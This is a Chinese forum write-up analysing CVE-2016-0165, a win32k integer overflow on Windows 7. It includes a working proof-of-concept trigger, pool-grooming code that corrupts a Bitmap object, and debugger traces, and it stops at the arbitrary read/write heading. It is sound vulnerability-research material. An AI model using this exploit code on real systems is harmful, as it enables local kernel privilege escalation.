首页
论坛
课程
招聘
[原创]CVE-2016-0165提权漏洞学习笔记
2022-5-6 23:25 8799

[原创]CVE-2016-0165提权漏洞学习笔记

2022-5-6 23:25
8799

一.前言

1.漏洞描述

该漏洞是一个整数溢出漏洞,存在于win32k中的RGNMEMOBJ::vCreate函数中。该函数在分配内存的时候,没有对申请的内存大小是否会发生整型溢出进行校验,这将导致分配的内存大小将远小于所期望的大小。但是,在后续的操作中,函数依然以所期望的大小来对内存进行操作,就会对申请的内存块相邻的内存块进行写入操作,最终在释放申请的内存块的时候会因为破坏了相邻内存块的POOL_HEADER产生BSOD。而通过适当的内存布局,在申请的内存块后跟着的是BitMap对象,越界写入操作修改BitMap中的关键成员可以实现任意地址读写最终可以实现提权。

2.实验环境

  • 操作系统:Win7 x86 sp1 专业版

  • 编译器:Visual Studio 2017

  • 调试器: IDA Pro,WinDbg

二.漏洞分析

1.漏洞原理

该漏洞的产生和vCreate函数的第二个参数有关,该参数是一个EPATHOBJ结构指针,该结构体的定义如下:

typedef struct _EPATHOBJ
{
  PATHOBJ  po;
  PPATH   pPath;
  CLIPOBJ   *pco;
} EPATHOBJ, *PEPATHOBJ;

第一个成员po是一个PATHOBJ结构体,该结构体的定义如下,其中第二个成员cCurves代表的是当前EPATHOBJ对象的曲线数目。

typedef struct _PATHOBJ {
  FLONG  fl;
  ULONG  cCurves;
} PATHOBJ;

以下是vCreate函数中与本次漏洞有关的关键代码。首先函数会调用ExAllocatePoolWithTag申请内存,而申请的内存的大小只验证了是否大于0,却没有验证是否发生了整型溢出,这就将导致当大小发生整型溢出的时候,ExAllocatePoolWithTag申请的内存大小会远小于期望的大小。

接着,函数将申请到的内存地址作为第三个参数传递给vContructGET函数,在这个函数中将会对申请到的内存进行读写操作,可是整型溢出,导致申请到的实际内存非常小,而vContructGET函数却以期望申请到的大小来读写内存,导致将会越界写入其他内存空间而产生了错误。

最后,如果内存申请成功,vCreate函数会调用ExFreePoolWithTag函数来释放内存。

void __thiscall RGNMEMOBJ::vCreate(RGNMEMOBJ *this, struct EPATHOBJ *ePathObj, char a3, struct _RECTL *a4)
{
  unsigned int uiCurves;
  struct EDGE *pEdge1;
  int bFree;
  PVOID pEdge; 

  uiCurves = *((_DWORD *)ePathObj + 1);
  bFree = uiCurves;
  
  if ( uiCurves >= 0x14 )
  {
    if ( 0x28 * (uiCurves + 1) )        // 此处并没有验证(uiCurves + 1) * 0x28是否会发生整型溢出
    {
      v12 = ExAllocatePoolWithTag(PagedPoolSession, 0x28 * (uiCurves + 1), 'ngrG');    // 申请内存
      v7 = a4;
      pEdge = v12;
    }
  }
  
  if ( v37 >= v14 )
  {
    if ( v37 < 0 || //这部分计算后文会讲 )
    {
      pEdge1 = (struct EDGE *)pEdge;
      vConstructGET(ePathObj, (struct EDGE *)&v30, pEdge1, a4);    // 触发漏洞的地方
   }
   
  if ( bFree )            // 申请成功了就会释放申请的内存
    ExFreePoolWithTag(pEdge, 0);
}

函数vConstructGET通过结构体EDGE根据路径建立全局边表,结构体EDGE的定义如下。该结构共有0x28个字节,由此可以得知上面申请内存的时候是要申请可以容纳uiCurves+1个EDGE结构体的内存。

typedef struct _EDGE {
    PVOID pNext;            //<[00,04]
    INT iScansLeft;         //<[04,04]
    INT X;                  //<[08,04]
    INT Y;                  //<[0C,04]
    INT iErrorTerm;         //<[10,04]
    INT iErrorAdjustUp;     //<[14,04]
    INT iErrorAdjustDown;   //<[18,04]
    INT iXWhole;            //<[1C,04]
    INT iXDirection;        //<[20,04]
    INT iWindingDirection;  //<[24,04]
} EDGE, *PEDGE;

函数vConstructGET通过AddEdgeToGET来实现边表的建立,这里要注意的是第三个参数pEdge将作为第二个参数传入AddEdgeToGET函数,也就是将申请的内存作为第二个参数来调用AddEdgeToGET。

void __stdcall vConstructGET(struct EPATHOBJ *a1, struct EDGE *pEdgeHead, struct EDGE *pEdge, struct _RECTL *a4)
{
  struct EDGE *pEdgeHead1; // ebx
  int *v5; // edi
  struct _POINTFIX *v6; // ecx
  struct EDGE *pEdge1; // eax
  struct _POINTFIX *v8; // esi
  struct EPATHOBJ *i; // [esp+10h] [ebp+8h]
  struct EDGE *pEdgeHeada; // [esp+14h] [ebp+Ch]

  pEdgeHead1 = pEdgeHead;
  *(_DWORD *)pEdgeHead1 = pEdgeHead1;
  
  if ( v5 )
  {
    pEdge1 = pEdge;
    do
    {
      for (i = (struct EPATHOBJ *)&v5[2 * v5[3] + 4]; v8 < i; v8 = (struct _POINTFIX *)((char *)v8 + 8))
      {
        pEdge1 = AddEdgeToGET(pEdgeHead1, pEdge1, v6, v8, a4);
        v6 = v8;
      }
      if ( v5[2] & 2 )
      {
        pEdge1 = AddEdgeToGET(pEdgeHead1, pEdge1, v6, pEdgeHeada, a4);
        v6 = 0;
      }
      v5 = (int *)*v5;
    }
    while ( v5 );
  }
}

函数中AddEdgeToGET实现添加的代码如下,代码有两个内容,首先会判断要加入的边中的结束点的坐标的Y值和起始坐标的Y值是否相同,如果相同则返回。如果不相同,就会通过EDGE结构体中的pNext实现添加,最终会返回pEdge中的下一个EDGE结构体,然后会在函数vConstructGET中继续添加。

struct EDGE *__stdcall AddEdgeToGET(struct EDGE *pEdgeHead, struct EDGE *pEdge, struct _POINTFIX *a3, struct _POINTFIX *a4, struct _RECTL *pRectl)
{
  LONG yEnd; // edi
  struct EDGE *pEdge1; // ecx
  int Edge_Y; // esi
  int EdgeY; // ebx
  struct EDGE *pEdgeHead1; // edx
  int pEdgeNext; // eax
  int HeadY; // esi
  struct EDGE *pEdgea; // [esp+20h] [ebp+Ch]
  struct _POINTFIX *yStart; // [esp+28h] [ebp+14h]
  
    pEdgea = 0;
  if ( pRectl )
  {
    if ( yEnd < pRectl->top || (signed int)yStart > pRectl->bottom )
      return pEdge1;
    if ( (signed int)yStart < pRectl->top )
    {
      pEdgea = (struct EDGE *)1;
      v25 = yStart;
      yStart = (struct _POINTFIX *)pRectl->top;
    }
    if ( yEnd > pRectl->bottom )
      yEnd = pRectl->bottom;
  }
  Edge_Y = ((signed int)yStart + 0xF) >> 4;
  *((_DWORD *)pEdge1 + 3) = Edge_Y;
  *((_DWORD *)pEdge1 + 1) = ((yEnd + 0xF) >> 4) - Edge_Y;
  if ( ((yEnd + 0xF) >> 4) - Edge_Y <= 0 )        // 点的y坐标是否相同,如果相同则跳过添加
    return pEdge1;
  
  // 通过pNext将EDGE加入到
  while ( 1 )
  {
    pEdgeNext = *(_DWORD *)pEdgeHead1;
    Y = *(_DWORD *)(*(_DWORD *)pEdgeHead1 + 0xC);
    if ( v21 <= Y && (v21 != Y || v20 <= *(_DWORD *)(pEdgeNext + 8)) )
      break;
    pEdgeHead1 = *(struct EDGE **)pEdgeHead1;
  }
  *(_DWORD *)pEdge1 = pEdgeNext;
  *(_DWORD *)pEdgeHead1 = pEdge1;
  return (struct EDGE *)((char *)pEdge1 + 0x28);
}

其中的几个需要使用的结构体定义如下:

typedef struct tagRECT {
	LONG left;
	LONG top;
	LONG right;
	LONG bottom;
} RECT,*PRECT,*NPRECT,*LPRECT;

typedef LONG FIX;

typedef struct _POINTFIX {
  FIX  x;
  FIX  y;
} POINTFIX, *PPOINTFIX;

2.漏洞验证

由上面分析可以知道,这个漏洞产生的原因是vCreate函数没有对uiCurves+1和0x28相乘的值是否发生整型溢出导致的。所以,要验证该漏洞就需要解决两个问题,首先是要调用vCreate函数,其次是要在调用这个函数的时候第二个参数中保存的uiCurves可以让后面的计算产生整型溢出。

可以通过函数PathToRegion来调用vCreate函数,该函数定义如下。

WINGDIAPI HRGN WINAPI PathToRegion(__in HDC hdc);

该函数只有设备句柄一个参数,该设备句柄对应的对象中的uiCurves将会被用于申请内存。在用户层,可以通过GetDC,BeginPath,EndPath这三个参数来实现获取设备句柄,将设备与当前上下文绑定或解绑,函数定义如下:

WINUSERAPI
HDC
WINAPI
GetDC(__in_opt HWND hWnd);
    
WINGDIAPI BOOL WINAPI BeginPath(__in HDC hdc);

WINGDIAPI BOOL WINAPI EndPath(__in HDC hdc);

对于GetDC,可以通过传入NULL来获取桌面窗口的设备句柄,通过BeginPath将设备与当前上下文绑定就可以对桌面窗口的设备对象进行操作。接下来就可以通过PolylineTo函数来增加获取的桌面窗口设备句柄的uiCurvers,该函数定义如下:

WINGDIAPI BOOL  WINAPI PolylineTo(__in HDC hdc,
                   __in_ecount(cpt) CONST POINT * apt, 
                   __in DWORD cpt);

函数第一个参数即使要操作的设备句柄,第二个参数是POINT指针,指向要增加的曲线的坐标,第三个参数为坐标个数。其中,POINT结构体定义如下:

typedef struct tagPOINT
{
    LONG  x;
    LONG  y;
} POINT, *PPOINT, NEAR *NPPOINT, FAR *LPPOINT;

该函数通过POINT数组中的值来添加边,如果现在输入的点为(0,0), (1, 1), (2, 2)这三个点,PolylineTo函数就会将(0, 0)与(1, 1), (1, 1)与(2, 2)相连,这样就增加了两条边。而在vCreate函数中,又会将曲线闭合,也就是会将 (2, 2)与(0, 0)连起来,因此uiCurvers就会增加3,所以POINT数组输入几个点就会增加多少线条。根据上面申请内存时候通过(uiCurvers + 1) * 0x28可以算出,只要uiCurvers的值为0x6666665就会发生整型溢出(0xFFFFFFFF / 0x28 - 1)。

但是,在要触发漏洞还需要绕过三处限制,第一处限制是在通过PolylineTo来增加设备对象的uiCurvers的时候,需要注意在PolylineTo中有对cpt参数,也就是要添加的边的个数进行判断,判断代码如下

cpt = 0;
for ( i = 0; ; ++i )
{
    v13 = cpt;
    if ( i >= ccpt )
    break;
    cpt += *(Dst + i);
}
if ( cpt > 0x4E2000 )    // 一次增加的线条不能超过0x4E2000,否则会增加失败
    goto LABEL_56;

第二处限制是调用PathToRegion后,会调用win32k中的NtGdiPathToRegion函数,在该函数中,要注意和不同y值的点不能过大,否则会导致内存资源不足,代码如下:

  if ( v8 )
  {
    // 省略成功调用的代码
  }
  else
  {
    // 内存资源不足,GetLastError将会得到8
    EngSetLastError(8);
    v3 = dcObj;
    *(_DWORD *)(v3 + 0x70) &= 0xFFFFFFFE;
    *(_DWORD *)(v3 + 0x6C) = 0;
  }

第三处限制是在vCreate函数中,在该函数中会将不同y值大小的点与0x20相乘并加上0x1F8,最终的值与0x7FFFFFFF进行判断,如果大于该值则会跳转,而不调用vConstructGET函数。这部分就是在上述对vCreate函数分析的时候,调用vConstructGET函数前的if判断语句中省略的部分。

.text:BF874085                 push    0
.text:BF874087                 push    20h
.text:BF874089                 push    edx
.text:BF87408A                 push    eax            // 不同y值的点的个数
.text:BF87408B                 call    __allmul       // 将个数乘以0x20
.text:BF874090                 mov     esi, eax       
.text:BF874092                 add     esi, 1F8h      // 个数乘以0x20以后,在加上0x1F8
.text:BF874098                 adc     edx, 0
.text:BF87409B                 mov     [ebp+var_C], edx
.text:BF87409E                 mov     edi, 7FFFFFFFh        ; 将0x7FFFFFFF赋值给edi
.text:BF8740A3                 js      short loc_BF8740B3
.text:BF8740A5                 jg      loc_BF87416B
.text:BF8740AB                 cmp     esi, edi              ; 判断esi是否大于edi,大于则跳转
.text:BF8740AD                 ja      loc_BF87416B          ; 如果跳转,则不会调用vConstructGET函数

最终,绕过以上三处限制而写出的POC代码如下:

BOOL POC_CVE_2016_0165()
{
	BOOL bRet = TRUE;
	HDC hdc = NULL;
	CONST DWORD dwMaxCount = 0x6666665, dwMaxValue = 0x04E2000, dwCount = 0x100;
	DWORD i = 0;
	PPOINT pPoint = NULL;

	pPoint = (PPOINT)malloc(dwMaxCount * sizeof(POINT));

	if (!pPoint)
	{
		ShowError("malloc", GetLastError());
		bRet = FALSE;
		goto exit;
	}

    ZeroMemory(pPoint, dwMaxCount * sizeof(POINT));
	
	for (i = 0; i < dwCount; i++)
	{
		pPoint[i].y = i;
	}

	hdc = GetDC(NULL);

	if (!hdc)
	{
		ShowError("GetDC", GetLastError());
		bRet = FALSE;
		goto exit;
	}

	if (!BeginPath(hdc))
	{
		ShowError("BeginPath", GetLastError());
		bRet = FALSE;
		goto exit;
	}

	for (i = dwMaxCount; i > 0; i -= min(dwMaxValue, i))
	{
		if (!PolylineTo(hdc, &pPoint[dwMaxCount - i], min(dwMaxValue, i)))
		{
			ShowError("PolylineTo", GetLastError());
			bRet = FALSE;
			goto exit;
		}
	}

	if (!EndPath(hdc))
	{
		ShowError("EndPath", GetLastError());
		bRet = FALSE;
		goto exit;
	}

	if (PathToRegion(hdc) == NULL)
	{
		ShowError("PathToRegion", GetLastError());
		bRet = FALSE;
		goto exit;
	}

exit:
	if (pPoint)
	{
		free(pPoint);
		pPoint = NULL;
	}
	return bRet;
}

在申请内存的地址处下断点,编译运行POC,由WinDbg输出可以看到,在对申请的内存大小进行乘法运算之前,eax的值为0x6666667,将其与0x28进行相乘之后就会因为整型溢出导致eax为0x18,接着就申请0x18大小的内存空间,记录下此时申请到的内存为0xfe640ce8,并查看相邻内存块的数据。

3: kd> g
Breakpoint 0 hit
win32k!RGNMEMOBJ::vCreate+0xb3:
83793fea 8d4101          lea     eax,[ecx+1]
2: kd> p
win32k!RGNMEMOBJ::vCreate+0xb6:
83793fed 6bc028          imul    eax,eax,28h
2: kd> r eax                                                // 要进行计算的线条数
eax=06666667
2: kd> p
win32k!RGNMEMOBJ::vCreate+0xb9:
83793ff0 85c0            test    eax,eax
2: kd> r eax                                                // 相乘以后,整型溢出,此时变成了0x18
eax=00000018
2: kd> p
win32k!RGNMEMOBJ::vCreate+0xbb:
83793ff2 7416            je      win32k!RGNMEMOBJ::vCreate+0xd3 (8379400a)
2: kd> p
win32k!RGNMEMOBJ::vCreate+0xbd:
83793ff4 684772676e      push    6E677247h
2: kd> p
win32k!RGNMEMOBJ::vCreate+0xc2:
83793ff9 50              push    eax
2: kd> p
win32k!RGNMEMOBJ::vCreate+0xc3:
83793ffa 6a21            push    21h
2: kd> p
win32k!RGNMEMOBJ::vCreate+0xc5:
83793ffc ff1550009183    call    dword ptr [win32k!_imp__ExAllocatePoolWithTag (83910050)]
2: kd> r eax                                                 // 此时以0x18为大小申请内存块
eax=00000018
2: kd> p
win32k!RGNMEMOBJ::vCreate+0xcb:
969d4002 8b5510          mov     edx,dword ptr [ebp+10h]
1: kd> r eax
eax=fe640ce8
1: kd> dd 0xfe640ce8
fe640ce8  00000000 876cb398 00000000 00000000
fe640cf8  0000c07f 0000c07f 46140004 38616c47    // 0xfe640d00处即是下一内存块的POOL_HEADER
fe640d08  030806b7 00000001 80000000 00000000
fe640d18  00000202 00000000 00000bf2 00000000
fe640d28  00000000 00000000 00000000 00000005
fe640d38  00000000 00000000 00000000 96bd7e55
fe640d48  96bd7e55 00000000 00000000 fe640d5c
fe640d58  fe640d08 00ff0000 0000ff00 000000ff

接着在AddEdgeToGET最后的增加EDGE处下断点,多运行几次,不难看出现在该函数写入的内存地址已经超过了申请的内存空间。

1: kd> g
Breakpoint 2 hit
win32k!AddEdgeToGET+0x173:
96bf43b3 8901            mov     dword ptr [ecx],eax
1: kd> p
win32k!AddEdgeToGET+0x175:
96bf43b5 890a            mov     dword ptr [edx],ecx
1: kd> r ecx                                            // 第一次中断,写入的是申请的内存的地址
ecx=fe640ce8
1: kd> p
win32k!AddEdgeToGET+0x177:
96bf43b7 8d4128          lea     eax,[ecx+28h]         // 接下来取下一EDGE结构体
Breakpoint 2 hit
win32k!AddEdgeToGET+0x173:
96bf43b3 8901            mov     dword ptr [ecx],eax
1: kd> p
win32k!AddEdgeToGET+0x175:
96bf43b5 890a            mov     dword ptr [edx],ecx
1: kd> r ecx                                           // 第二次中断,写入的地址已经超出申请的内存块,此时偏移为0x28(0xfe640d10-0xfe640ce8)
ecx=fe640d10
1: kd> p
win32k!AddEdgeToGET+0x177:
96bf43b7 8d4128          lea     eax,[ecx+28h]        // 继续取下一EDGE结构体
Breakpoint 2 hit
win32k!AddEdgeToGET+0x173:
96bf43b3 8901            mov     dword ptr [ecx],eax
1: kd> p
win32k!AddEdgeToGET+0x175:
96bf43b5 890a            mov     dword ptr [edx],ecx
1: kd> r ecx                                         // 第三次中断,写入的地址的偏移为0x50(0x28 + 0x28)
ecx=fe640d38
1: kd> p
win32k!AddEdgeToGET+0x177:
96bf43b7 8d4128          lea     eax,[ecx+28h]      // 后面的操作以此类推

当AddEdgeToGET函数指向完成,再次查看申请的内存中的数据,可以看到此时相邻内存块的数据已经发生了更改。

1: kd> dd 0xfe640ce8
fe640ce8  fe640d10 00000001 00000000 00000000
fe640cf8  ffffffff 00000000 00000100 00000000    // POOL_HEADER数据已经被修改
fe640d08  00000001 00000001 fe640d38 00000001
fe640d18  00000000 00000001 ffffffff 00000000
fe640d28  00000100 00000000 00000001 00000001
fe640d38  fe640d60 00000001 00000000 00000002
fe640d48  ffffffff 00000000 00000100 00000000
fe640d58  00000001 00000001 fe640d88 00000001

继续运行,由于此时已经越界写入了相邻内存块,破坏了相邻内存块的POOL_HEADER,在释放内存的时候,内存合并操作将会产生BSOD的错误。

1: kd> kb
ChildEBP RetAddr  Args to Child              
9803b394 83efd083 00000003 82d59337 00000065 nt!RtlpBreakWithStatusInstruction
9803b3e4 83efdb81 00000003 fe98d8b8 000001ff nt!KiBugCheckDebugBreak+0x1c
9803b7a8 83f3fc6b 00000019 00000020 fe98d8b8 nt!KeBugCheck2+0x68b
9803b824 96a8417c fe98d8c0 00000000 0d0104e2 nt!ExFreePoolWithTag+0x1b1        // 释放内存块时产生了错误
9803bbc8 96bbc190 9803bbe4 00000001 00000001 win32k!RGNMEMOBJ::vCreate+0x245
9803bc28 83e5c1ea 0d0104e2 0012feec 774a70b4 win32k!NtGdiPathToRegion+0x99
9803bc28 774a70b4 0d0104e2 0012feec 774a70b4 nt!KiFastCallEntry+0x12a
0012fed4 75ef6ba5 75ee65b0 0d0104e2 004be665 ntdll!KiFastSystemCallRet
0012fed8 75ee65b0 0d0104e2 004be665 00000000 GDI32!NtGdiPathToRegion+0xc
0012feec 0040111c 0d0104e2 00000000 00000000 GDI32!PathToRegion+0x45

三.漏洞利用

1.内存布局

根据上面内容可以知道,整数溢出漏洞的存在会导致申请的内存的相邻内存被修改,这里希望可以通过内存布局,让BitMap对象紧跟在申请的内存空间后,这样可以通过越界写入操作来修改BitMap对象中的关键数据来实现任意地址写入实现提权。由于0x18的内存过小,难以利用,因此将uiCurvers的值增加2,来增大申请的内存空间到0x68(0x18 + 0x28 * 2),算上POOL_HEADER则占用0x70大小的内存块所以此时的需要用来增加uiCurvers的点为0x6666667个。此外,因为期望的内存块过大,所以如果不进行限制,写入的内存的地址会过多,这里就需要用到函数AddEdgeToGET函数中点的y坐标值相等情况下跳过写入操作来省略掉多余的内存操作。

BitMap对象可以通过CreateBitmap函数创建,该函数定义如下:

HBITMAP CreateBitmap(
  _In_       int  nWidth,
  _In_       int  nHeight,
  _In_       UINT cPlanes,
  _In_       UINT cBitsPerPel,
  _In_ const VOID *lpvBits
);

该函数会在内存创建BitMap对象,该对象包含0x154字节大的SURFACE结构体的对象头和像素点数据,SURFACE的结构体定义如下:

/* GDI surface object */
typedef struct _SURFACE
{
    BASEOBJECT  BaseObject;
    SURFOBJ     SurfObj;
    FLONG       flags;
    struct _PALETTE  * const ppal; 
    struct _EWNDOBJ  *pWinObj;
    union
    {
        HANDLE  hSecureUMPD;  // if UMPD_SURFACE set
        HANDLE  hMirrorParent;// if MIRROR_SURFACE set
        HANDLE  hDDSurface;   // if DIRECTDRAW_SURFACE set
    };
    SIZEL       sizlDim;     
    HDC         hdc;        
    ULONG       cRef;
    HPALETTE    hpalHint;
    HANDLE      hDIBSection;
    HANDLE      hSecure;
    DWORD       dwOffset;
    DWORD biClrImportant;
} SURFACE, *PSURFACE;

第一个成员是BASEOBJECT结构体,共0x10字节,该结构体在所有的GDI对象头都会保存一份,结构体定义如下:

typedef struct _BASEOBJECT {
    HANDLE     hHmgr;
    PVOID      pEntry;
    LONG       cExclusiveLock;
    PW32THREAD Tid;
} BASEOBJECT, *POBJ;

第二个成员是SURFOBJ结构体,该结构体保存了紧跟对象头后面的像素数据的相关信息,定义如下:

typedef struct tagSIZE {
	LONG cx;
	LONG cy;
} SIZE,*PSIZE,*LPSIZE;

typedef SIZE SIZEL;

typedef struct _SURFOBJ {
  DHSURF  dhsurf;
  HSURF  hsurf;
  DHPDEV  dhpdev;
  HDEV  hdev;
  SIZEL  sizlBitmap;
  ULONG  cjBits;
  PVOID  pvBits;
  PVOID  pvScan0;
  LONG  lDelta;
  ULONG  iUniq;
  ULONG  iBitmapFormat;
  USHORT  iType;
  USHORT  fjBitmap;
} SURFOBJ;

其中sizlBitmap中的cx和cy分别指定了像素数据的宽和高,由调用的CreateBitmap的第一和第二个参数决定。像素数据的大小则保存在了cjBits,当第三个参数cPlanes为1,第四个参数cBitPerPel为8时,该值就是cx和cy相乘得到,当第四个参数cBitPerPel为32时,该值就是cx * cy * 4。pvScan0则指向了像素数据的起始地址,该地址跟在对象头其后。关键的数据是sizlBitmap和pvScan0,此时查看上面的溢出后的数据情况可以看出,这些值并没有被覆盖为理想的值。

1: kd> dd 0xfe640ce8
fe640ce8  fe640d10 00000001 00000000 00000000
fe640cf8  ffffffff 00000000 00000100 00000000   	 // 申请的0x18的数据和下一内存块的POOL_HEADER
fe640d08  00000001 00000001 fe640d38 00000001		 // BASEOBJ结构体数据
fe640d18  00000000 00000001 ffffffff 00000000		 // SURFOBJ结构体前0x10的数据
fe640d28  00000100 00000000 00000001 00000001		 // cx, cy, cjBits, pvBits的数据
fe640d38  fe640d60 00000001 00000000 00000002		 // 0xfe640d38为pvScan0的数据
fe640d48  ffffffff 00000000 00000100 00000000
fe640d58  00000001 00000001 fe640d88 00000001

因此,需要通过垫片,也就是在申请的内存块和BitMap对象中间填入一些"垃圾"数据,来让漏洞点的写入操作可以将BitMap对象的关键成员修改为理想数据。这里通过设置剪切板的方式来增加垫片,设置剪切板的数据的函数为SetClipboardData函数,函数定义如下:

HANDLE SetClipboardData(UINT uFormat,
                        HANDLE hMem);

在不调用OpenCliboard并清空剪切板数据的前提下SetClipboardData函数分配的剪切板数据对象会一直存在于分页会话池中,所以不用担心因为覆盖操作而导致内存回收时产生错误。通过剪切板来实现垫片的代码如下,通过该代码会产生dwSize + 0xC + 0x8大小的内存块:

BOOL CreateClipboard(DWORD dwSize)
{
	BOOL bRet = TRUE;
	PCHAR pBuffer = NULL;
	HGLOBAL hMem = NULL;

	pBuffer = (PCHAR)malloc(dwSize);
	if (!pBuffer)
	{
		ShowError("malloc", GetLastError());
		bRet = FALSE;
		goto exit;
	}

	ZeroMemory(pBuffer, dwSize);
	FillMemory(pBuffer, dwSize, 0x41);

	hMem = GlobalAlloc(GMEM_MOVEABLE, dwSize);
	if (hMem == NULL)
	{
		ShowError("GlobalAlloc", GetLastError());
		bRet = FALSE;
		goto exit;
	}

	CopyMemory(GlobalLock(hMem), pBuffer, dwSize);

	GlobalUnlock(hMem);

	SetClipboardData(CF_TEXT, hMem);
exit:
	return bRet;
}

让申请的内存块后跟BitMap对象的思路是,申请大量0xF90大的BitMap对象,这样就会在很多新的内存页中留下0x70大小的内存,此时漏洞函数申请的0x70大小的内存块就会每个内存页的最后0x70的字节。此时,该内存的相邻内存就会是相邻内存页,内存页的起始保存的就是BitMap对象。但是,内存中会存在一些0x70大小的空闲内存,为了保证申请的内存页在BitMap对象剩余的0x70字节中就需要通过CreateAcceleratorTable函数来消耗这些空闲的0x70大小的内存,该函数定义如下:

HACCEL CreateAcceleratorTable(LPACCEL lpaccl,
                              int cEntries);

该函数会创建加速表对象,每个对象占8字节,第二个参数cEntries指定创建的加速表对象的个数,当指定为0xD的时候就会创建0xD个加速表对象,占用0x68字节大小,加上POOL_HEADER的大小刚好0x70。这样,我们就可以首先使用加速表对象消耗空间内存,在用加速表对象占用0x70的内存块,释放掉其中的一部分,漏洞函数申请内存的时候就会刚好申请到相应的内存块。

上面提到过,为了让漏洞的写入操作可以将BitMap对象的关键成员覆盖为理想的值,需要加入剪切板数据,这里剪切板数据的大小为0xB70。在创建完加速表对象之后,需要释放掉BitMap对象,随后申请0xB70的剪切板数据,再次申请BitMap对象来填充0xF90大小的内存减去剪切板数据大小的内存空间。最终的内存布局要如下图所示:

创建上图内存布局的代码如下:

BOOL CreateObj_CVE_2016_0165()
{
	BOOL bRet = TRUE;
	CONST DWORD dwCount = 4000;
	DWORD i = 0;
	HBITMAP hBitMap[dwCount + 5] = { 0 };
	HACCEL hAccel[dwCount + 5] = { 0 };

	// 消耗掉多余0x70的内存空间
	for (i = 0; i < 1000; i++)
	{
		ACCEL accKey[0x0D] = { 0 };
		if (!CreateAcceleratorTableA(accKey, 0x0D))
		{
			ShowError("CreateAcceleratorTableA", GetLastError());
			bRet = FALSE;
			goto exit;
		}
	}

	// 创建BitMap对象
	for (i = 0; i < dwCount; i++)
	{
		// 0xE34 + 0x154 + 0x8 = 0xF90
		hBitMap[i] = CreateBitmap(0xE34, 0x01, 1, 8, NULL);
		if (!hBitMap[i])
		{
			ShowError("CreateBitmap", GetLastError());
			bRet = FALSE;
			goto exit;
		}
	}

	// 用加速表填充保存了BitMap对象的剩余的0x70字节的页
	for (i = 0; i < dwCount; i++)
	{
		ACCEL accKey[0x0D] = { 0 };
		hAccel[i] = CreateAcceleratorTableA(accKey, 0x0D);
		if (!hAccel)
		{
			ShowError("CreateAcceleratorTableA", GetLastError());
			bRet = FALSE;
			goto exit;
		}
	}

	// 释放掉BitMap对象
	for (i = 0; i < dwCount; i++)
	{
		if (!DeleteObject(hBitMap[i]))
		{
			ShowError("DeleteObject", GetLastError());
			bRet = FALSE;
			goto exit;
		}
		hBitMap[i] = NULL;
	}

	// 创建垫片占用释放的BitMap对象中的内存页的起始部分
	for (i = 0; i < dwCount; i++)
	{
		// 0xB5C + 0xC + 0x8 = 0xB70
		if (!CreateClipboard(0xB5C))
		{
			bRet = FALSE;
			goto exit;
		}
	}

	// 重新占用除去垫片以外的内存
	for (i = 0; i < dwCount; i++)
	{
		// 0x1 * 0xB1 * 0x4 + 0x154 + 0x8 = 0x420
		hBitMap[i] = CreateBitmap(0x1, 0xB1, 1, 32, NULL);
		if (!hBitMap[i])
		{
			ShowError("CreateBitmap", GetLastError());
			bRet = FALSE;
			goto exit;
		}
	}

	// 释放掉一部分加速表用来保存触发漏洞时申请的0x70的空间
	for (i = 2000; i < 3000; i++)
	{
		if (!DestroyAcceleratorTable(hAccel[i]))
		{
			ShowError("DestroyAcceleratorTable", GetLastError());
			bRet = FALSE;
			goto exit;
		}
		hAccel[i] = NULL;
	}

exit:
	return bRet;
}

此时编译运行,在分配内存处下断点可以看到漏洞函数申请的内存刚好在剪切板数据和BitMap对象后,且这三个数据加一起共占一个页的大小。而下一个页的数据是剪切板数据,BitMap对象和加速表对象,所以此时的内存布局已经如上图所示。同时,也记录下下一内存页的BitMap对象的数据,以供之后比对。

2: kd> g
Breakpoint 1 hit
win32k!RGNMEMOBJ::vCreate+0xc5:
96cf3ffc ff155000e796    call    dword ptr [win32k!_imp__ExAllocatePoolWithTag (96e70050)]
1: kd> p
win32k!RGNMEMOBJ::vCreate+0xcb:
96cf4002 8b5510          mov     edx,dword ptr [ebp+10h]
1: kd> r eax
eax=cafc4f98
1: kd> !pool cafc4f98
Pool page cafc4f98 region is Paged session pool
 cafc4000 size:  b70 previous size:    0  (Allocated)  Uscb
 cafc4b70 size:  420 previous size:  b70  (Allocated)  Gh15
*cafc4f90 size:   70 previous size:  420  (Allocated) *Grgn
		Pooltag Grgn : GDITAG_REGION, Binary : win32k.sys
1: kd> !pool cafc5008					// 下一内存页
Pool page cafc5008 region is Paged session pool
*cafc5000 size:  b70 previous size:    0  (Allocated) *Uscb
		Pooltag Uscb : USERTAG_CLIPBOARD, Binary : win32k!_ConvertMemHandle
 cafc5b70 size:  420 previous size:  b70  (Allocated)  Gh15
 cafc5f90 size:   70 previous size:  420  (Free )  Usac Process: 87bc0030
1: kd> dc cafc5B70						// 写入前BitMap对象中的数据
cafc5b70  4684016e 35316847 0205108f 00000000  n..FGh15........
cafc5b80  00000000 00000000 00000000 0205108f  ................
cafc5b90  00000000 00000000 00000001 000000b1  ................
cafc5ba0  000002c4 cafc5ccc cafc5ccc 00000004  .....\...\......
cafc5bb0  0000319a 00000006 00010000 00000000  .1..............
cafc5bc0  04800200 00000000 00000000 00000000  ................
cafc5bd0  00000000 00000000 00000000 00000000  ................
cafc5be0  00000000 00000000 00000000 00000000  ................

继续运行到vConstruct函数结尾处,此时已经成功写入了数据,可以看到此时已经成功修改了BitMap对象中的数据。根据计算,0xCAFC5B9C处保存的是cy,此时cy已经被修改为0xFFFFFFFF,那么就可以通过该BitMap对象修改下一页中的BitMap对象的pvScan实现任意地址读写。

1: kd> g
Breakpoint 2 hit
win32k!vConstructGET+0x7e:
96dc4238 c21000          ret     10h
1: kd> dc cafc5B70
cafc5b70  00000001 00000001 cafc4f98 00000064  .........O..d...
cafc5b80  00000000 00000000 ffffffff 00000100  ................
cafc5b90  00006400 00000000 00000001 ffffffff  .d..............
cafc5ba0  000002c4 cafc5ccc cafc5ccc 00000004  .....\...\......
cafc5bb0  0000319a 00000006 00010000 00000000  .1..............
cafc5bc0  04800200 00000000 00000000 00000000  ................
cafc5bd0  00000000 00000000 00000000 00000000  ................
cafc5be0  00000000 00000000 00000000 00000000  ................

2.任意地址读写

